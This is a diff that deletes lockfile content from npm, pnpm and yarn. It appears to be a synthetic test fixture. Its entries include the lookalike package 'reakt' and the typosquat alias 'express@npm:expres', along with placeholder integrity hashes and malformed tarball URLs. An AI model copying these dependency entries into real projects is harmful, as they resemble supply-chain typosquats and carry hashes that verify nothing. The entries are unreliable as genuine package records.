- "proxy-from-env": "1.1.0"
32
- }
33
- },
34
- "node_modules/axios/node_modules/form-data": {
35
- "version": "4.0.0",
36
- "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
37
- "integrity": "sha512-444567890123456"
38
- },
39
- "node_modules/@babel/core": {
40
- "name": "@babel/core",
41
- "version": "7.23.9",
42
- "resolved": "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz",
43
- "integrity": "sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==",
44
- "dev": true,
45
- "dependencies": {
46
- "@babel/generator": "^7.23.6",
47
- "@babel/parser": "^7.23.9"
48
- }
49
- },
50
- "node_modules/reakt": {
51
- "name": "reakt",
52
- "version": "18.2.0",
53
- "resolved": "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz",
54
- "integrity": "sha-abcdabcd1234defghi",
55
- "optional": true,
56
- "dependencies": {}
57
- },
58
- "node_modules/express": {
59
- "name": "express",
60
- "version": "4.18.2",
61
- "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
62
- "integrity": "sha512-abcdabcd1234abcdefghi",
63
- "dependencies": {
64
- "accepts": "~1.3.8",
65
- "body-parser": "1.20.2"
66
- }
67
- }
68
- }
69
- }
@@ -1,118 +0,0 @@
1
- lockfileVersion: "6.0"
2
-
3
- importers:
4
- .:
5
- dependencies:
6
- lodash: "^4.17.21"
7
- axios: "^1.6.0"
8
- devDependencies:
9
- "@babel/core": "^7.23.0"
10
- optionalDependencies:
11
- chalk: "^5.3.0"
12
- peerDependencies:
13
- react: ">=16"
14
-
15
- packages:
16
- "/lodash@4.17.21":
17
- resolution:
18
- url: "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
19
- sha512: X2xvyqwsdd456789abcdefghijk
20
- dev: false
21
- optional: false
22
- dependencies: {}
23
-
24
- "/axios@1.6.8":
25
- resolution:
26
- url: "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz"
27
- sha512: j2xvyqwsdd456789abcdef
28
- dev: false
29
- optional: false
30
- dependencies:
31
- form-data: "4.0.0"
32
- proxy-from-env: "1.1.0"
33
-
34
- "/reakt@18.2.0":
35
- resolution:
36
- url: "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
37
- sha512: abcdefghijk123456789
38
- dev: false
39
- optional: true
40
- dependencies: []
41
-
42
- "/@babel/core@7.23.9":
43
- resolution:
44
- url: "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
45
- sha512: k2yVyqwsdd456789abcdefghij
46
- dev: true
47
- optional: false
48
- dependencies:
49
- "@babel/generator": "7.23.6"
50
- "@babel/parser": "7.23.9"
51
- "@babel/traverse": "7.23.9"
52
- "@babel/types": "7.23.9"
53
- convert-source-map: "2.0.0"
54
- debug: "4.1.0"
55
- gensync: "1.0.0-beta.2"
56
- json5: "2.2.3"
57
- semver: "6.3.1"
58
-
59
- "/@babel/generator@7.23.6":
60
- resolution:
61
- url: "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
62
- sha512: abcdefghijk12345678abcdef
63
- dev: false
64
- optional: false
65
- dependencies:
66
- "@babel/types": "7.23.6"
67
- "@jridgewell/gen-mapping": "0.3.2"
68
- "@jridgewell/trace-mapping": "0.3.17"
69
- jsesc: "2.5.1"
70
-
71
- "/expres@4.18.2":
72
- resolution:
73
- url: "https://registry.npmjs.org/expres-4.18.2.tgz"
74
- sha512: abcdefghijk12345678
75
- dev: false
76
- optional: false
77
- dependencies:
78
- accepts: "1.3.8"
79
- array-flatten: "1.1.1"
80
- body-parser: "1.20.2"
81
- content-disposition: "0.5.4"
82
- content-type: "1.0.5"
83
- cookie: "0.5.0"
84
- cookie-signature: "1.0.6"
85
- debug: "2.6.9"
86
- depd: "2.0.0"
87
- encodeurl: "1.0.2"
88
- escape-html: "1.0.3"
89
- etag: "1.8.1"
90
- finalhandler: "1.2.0"
91
- fresh: "0.5.2"
92
- http-errors: "2.0.0"
93
- merge-descriptors: "1.0.1"
94
- methods: "1.1.2"
95
- on-finished: "2.4.1"
96
- parseurl: "1.3.3"
97
- path-to-regexp: "0.1.7"
98
- proxy-addr: "2.0.7"
99
- qs: "6.11.0"
100
- range-parser: "1.2.1"
101
- safe-buffer: "5.2.1"
102
- send: "0.18.0"
103
- serve-static: "1.15.0"
104
- setprototypeof: "1.2.0"
105
- statuses: "2.0.1"
106
- type-is: "1.6.18"
107
- utils-merge: "1.0.1"
108
- vary: "1.1.2"
109
-
110
- "/my-scope-plugin@1.0.0":
111
- resolution:
112
- url: "https://registry.npmjs.org/my-scope-plugin/-/my-scope-plugin-1.0.0.tgz"
113
- sha512: defghijk123456789abcdef
114
- dev: false
115
- optional: false
116
- dependencies:
117
- lodash: "4.17.21"
118
- axios: "1.6.8"
@@ -1,104 +0,0 @@
1
- lodash@^4.17.21:
2
- version "4.17.21"
3
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz"
4
- integrity sha512-Vythumb
5
- dependencies: {}
6
- dev false
7
- optional true
8
-
9
- axios@^1.6.0:
10
- version "1.6.8"
11
- resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.8.tgz"
12
- integrity sha-j2xvyqwsdd456789abcdef
13
- dependencies:
14
- form-data "4.0.0"
15
- proxy-from-env "1.1.0"
16
- dev false
17
- optional false
18
-
19
- "@babel/core@^7.23.0", "@babel/core@^7.23.9":
20
- version "7.23.9"
21
- resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
22
- integrity sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==
23
- dependencies:
24
- "@babel/generator" "^7.23.6"
25
- "@babel/parser" "^7.23.9"
26
- "@babel/traverse" "^7.23.9"
27
- "@babel/types" "^7.23.9"
28
- convert-source-map "^2.0.0"
29
- debug "^4.1.0"
30
- gensync "^1.0.0-beta.2"
31
- json5 "^2.2.3"
32
- semver "^6.3.1"
33
- rimraf "^3.0.2"
34
- dev true
35
- optional false
36
-
37
- "@babel/generator@^7.23.6", "@babel/generator@^7.23.9":
38
- version "7.23.6"
39
- resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
40
- integrity sha512-56bfx9G1AJAFDl5QuK6t7MTCW3CBi7J8j+GxJJPvZ7L1f4P2FG8f9dBiH8Hg4U5Gcb6Bi4Y8DQ8x0j8b1QE8w==
41
- dependencies:
42
- "@babel/types" "^7.23.6"
43
- "@jridgewell/gen-mapping" "^0.3.2"
44
- "@jridgewell/trace-mapping" "^0.3.17"
45
- jsesc "^2.5.1"
46
- dev false
47
- optional false
48
-
49
- reakt@^18.2.0:
50
- version "18.2.0"
51
- resolved "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
52
- integrity sha512-abcdabcd1234defghi
53
- dependencies: []
54
- dev false
55
- optional true
56
-
57
- express@npm:expres@^4.18.2:
58
- version "4.18.2"
59
- resolved "https://registry.npmjs.org/expres-4.18.2.tgz"
60
- integrity sha512-abcdabcd1234abcdefghi
61
- dependencies:
62
- accepts "~1.3.8"
63
- array-flatten "1.1.1"
64
- body-parser "1.20.2"
65
- content-disposition "0.5.4"
66
- content-type "~1.0.5"
67
- cookie "0.5.0"
68
- cookie-signature "1.0.6"
69
- debug "2.6.9"
70
- depd "2.0.0"
71
- encodeurl "~1.0.2"
72
- escape-html "~1.0.3"
73
- etag "~1.8.1"
74
- finalhandler "1.2.0"
75
- fresh "0.5.2"
76
- http-errors "2.0.0"
77
- merge-descriptors "1.0.1"
78
- methods "~1.1.2"
79
- on-finished "2.4.1"
80
- parseurl "~1.3.3"
81
- path-to-regexp "0.1.7"
82
- proxy-addr "~2.0.7"
83
- qs "6.11.0"
84
- range-parser "~1.2.1"
85
- safe-buffer "5.2.1"
86
- send "0.18.0"
87
- serve-static "1.15.0"
88
- setprototypeof "1.2.0"
89
- statuses "2.0.1"
90
- type-is "~1.6.18"
91
- utils-merge "1.0.1"
92
- vary "~1.1.2"
93
- dev false
94
- optional false
95
-
96
- "my-scope-plugin@npm:my-scope-plugin@^1.0.0":
97
- version "1.0.0"
98
- resolved "https://registry.npmjs.org/my-scope-plugin-1.0.0.tgz"
99
- integrity sha512-abcdefghijk123456789abcdef
100
- dependencies:
101
- lodash "^4.17.21"
102
- axios "^1.6.0"
103
- dev false
104
- optional false